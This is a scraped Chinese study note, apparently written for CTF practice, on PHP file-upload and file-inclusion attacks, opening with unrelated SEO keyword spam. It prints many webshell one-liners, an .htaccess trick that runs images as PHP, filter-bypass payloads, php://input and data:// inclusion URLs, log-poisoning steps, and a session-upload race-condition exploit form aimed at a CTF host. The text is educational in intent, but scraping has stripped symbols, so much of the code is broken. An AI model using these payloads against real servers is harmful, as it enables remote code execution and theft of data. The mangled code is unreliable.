新站网站推广该如何做,小型电子商务网站建设与发展,响应式网站怎么制作,导航特效网站1.文件上传由于程序员在对用户文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型或者处理缺陷#xff0c;而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件1.1. 上传漏洞满足条件首先#xff0c;上传的文件能够被web容器解释执行。所以文件…1.文件上传由于程序员在对用户文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型或者处理缺陷而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件1.1. 上传漏洞满足条件首先上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。其次用户能够从web访问这个文件。如果文件上传了但用户无法通过web访问或者无法得到web容器解释这个脚本那么也不能称之为漏洞。 最后用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容则也可能导致攻击不成功。1.2. 服务端绕过服务端的代码通常检测三个点MIME类型、文件内容、文件后缀绕过方法前端可以修改的话可以修改前端限制文件名为php文件然后再进行上传文件使用一些特殊扩展名来绕过php可以用php3、php4、php5代替 phtml双写后缀名绕过大小写混淆绕过黑名单特殊后缀名绕过黑名单扩展名绕过其原理检测图片类型文件上传过程中http包的Content-Type字段的值来判断上传文件是否合法1.3. 配置文件绕过配合配置文件.htaccess文件或.uer.ini文件进行上传绕过FilesMatch jpg SetHandler application/x-httpd-php /FilesMatch //是让jpg文件当成php文件进行解析?php eval($_POST[cmd]);?有一句话木马检测的话利用.htaccess或者.usr.ini配置文件进行绕过也可以利用script/script标签进行绕过script languagephpeval($_POST[a]);/script要是过滤了php关键字可以利用短标签进行绕过对一句话木马进行编码绕过? eval($_POST[cmd]) ?过滤[]可以将其替换成{}? eval($_POST{cmd})?如果{}也被过滤一句话木马就不好写了那就可以直接传入而已的php代码直接去执行读取它flag的命令? system(cat /f*)还有可以使用的一句话木马不使用中括号和大括号利用array数组? array_map(assert,$_REQUEST) ? 然后进行调用assertsystem(ls);将括号()给过滤了可以利用反单引号直接进行命令执行?tac /f*?如果过滤空格和反单引号关键字符php可以进行字符串拼接绕过也可以用十六进制绕过利用php伪协议读取?includeph.p://filter/convert.base64-encode/resource/f*.p.hp?2. 文件包含文件包含漏洞也是一种注入型漏洞其本质就是输入一段用户能够控制的脚本或者代码并让服务端执行远程文件包含当web应用程序下载并执行远程文件时会导致远程文件包含这些远程文件通常以http 或 FTP UUI 的形式获取作为web应用程序的用户提供的参数本地文件包含本地文件包含类似于远程文件包含本地文件包含仅能包含本地文件即当前服务器上的文件以供执行常见文件包含函数include()执行到include时才包含文件找不到被包含文件时只会产生警告脚本将继续执行 require()只要程序一运行就包含文件找不到被包含的文件时会产生致命错误并停止脚本 include_once()和require_once()若文件中代码已被包含则不会再次包含常见攻击方式文件包含/etc/passwd如果存在漏洞文件又存在的时候不是php文件会被读取显示在页面中。etc/passswd文件是linux里面的敏感信息文件里存有Linux用户的配置信息漏洞攻击利用手法php://input可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。当传入的参数作为文件名打开时可以将参数设为php://input同时post想设置的文件内容php执行时会将post内容当作文件内容。从而导致任意代码执行http://127.0.0.1/index.php?filephp://input POST Data: ?php phpinfo();?php://filter可以获取指定文件源码。当它与包含函数结合时php://filter流会被当作php文件执行。所以我们一般对其进行编码让其不执行。从而导致任意文件读取。http://127.0.0.1/index.php?filephp://filter/resourcexxx.php http://127.0.0.1/index.php?filephp://filter/readconvert.base64-encode/resourcexxx.php http://127.0.0.1/index.php?filephp://filter/convert.base64-encode/resourcexxx.phpdata:text/plain可以执行任意代码但需要一定的利用条件http://127.0.0.1/index.php?filedata:text/plain,?php 执行内容 ? http://127.0.0.1/index.php?filedata://,?php phpinfo(); http://127.0.0.1/index.php?filedata://text//plain,?php phpinfo(); http://127.0.0.1/index.php?filedata://text/plain;base64,xxxxxxxxx字符串过滤php://filter/A|B|C/resourcesayhello.txtstring.rot13 rot13变换string.toupper 转大写字母string.tolower 转小写字母string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)$GLOBALS$GLOBALS引用全局作用域中可用的全部变量一个包含了全部变量的全局组合数组。变量的名字就是数组的键与所有其他超全局变量不同$GLOBALS在PHP代码中任何地方总是可用的 global在PHP中的解析是global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。 注在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用 $GLOBALS用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。2.1.日志文件包含通过包含Nginx访问日志来获取Webshell有时候网站存在文件包含漏洞但是没有文件上传点这时候可以通过利用Apache的日志文件来生成一句话木马攻击原理当Nginx访问日志被包含并作为PHP代码执行时如果我们在User-Agent或请求URL中插入PHP代码这些代码就会被写入日志文件。然后通过LFI漏洞包含日志文件其中的PHP代码就会被执行。首先确认文件的路径常见的Nginx日志路径/var/log/nginx/access.log /var/log/nginx/error.log /usr/local/nginx/logs/access.log /etc/nginx/logs/access.log /usr/local/apache2/logs/access_log /logs/access_log /etc/httpd/logs/access_log /var/log/httpd/access_log其次确认可以读取日志文件然后污染日志文件12两种方法方法1通过User-Agent插入PHP代码插入一句话木马方法2通过URL参数插入PHP代码方法3使用Burp Suite 拦截对目标网站的请求修改User-Agent为PHP代码发送请求最后通过LFI执行代码现在通过文件包含执行日志中的PHP代码http://target.com/vuln.php?page/var/log/nginx/access.logcmdwhoami2.2. 文件包含图片寻找网站上传点把 php 恶意代码文件改成 jpg 上传到网站上本地包含引入恶意代码当文件被引入后代码就被执行。 ?php eval($_POST[cmd]);? 保存为 1.jpg 上传图片格式到网站再用文件包含漏洞引入图片成功执行代码就可以用蚁剑进行连接但要注意是否存在一些限制需要绕过这些限制。2.3. 配合session文件php的session文件的保存路径可以在phpinfo的session.save_path看到。session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。/var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID2.4. 远程文件包含需要在php.ini中allow_url_includeOnallow_url_fopenOn可以简单理解为你告诉店员“我要吃http://黑客.com/毒 pizza.txt这份菜单上的东西”店员真的跑去黑客的网站下载了“菜单”打开一看里面写着“把厨房所有钥匙交给外卖小哥”店员照做了文件包含百度看到可以成功包含可以通过包含这个页面来查看php的配置信息可以看到allow_url_includeOnallow_url_fopenOn都是On可以进行文件包含3.简单的条件竞争?php if(isset($_GET[file])){ $file $_GET[file]; $file str_replace(php, ???, $file); $file str_replace(data, ???, $file); $file str_replace(:, ???, $file); $file str_replace(., ???, $file); include($file); }else{ highlight_file(__FILE__); }这题目将所有协议几乎都过滤了那些协议都不可能用了设置一个上传的html页面!DOCTYPE html html body form actionhttps://02f89973-e139-4bd1-83df-2c87ed82e18e.challenge.ctf.show/ methodPOST enctypemultipart/form-data input typehidden namePHP_SESSION_UPLOAD_PROGRESS value?php system(cat fl0g.php);? / !-- ?php system(ls);? input typefile namefile / input typesubmit valuesubmit / /form /body /html在cookie中设置PHPSESSIDcmd(这个是不限制的都可以)在burpsuite进行设置payload类型为Null payloads然后是无限重复可以竞争出目录下的内容有fl0g.phpindex.php然后重复上述的内容再进行条件竞争可以得到flag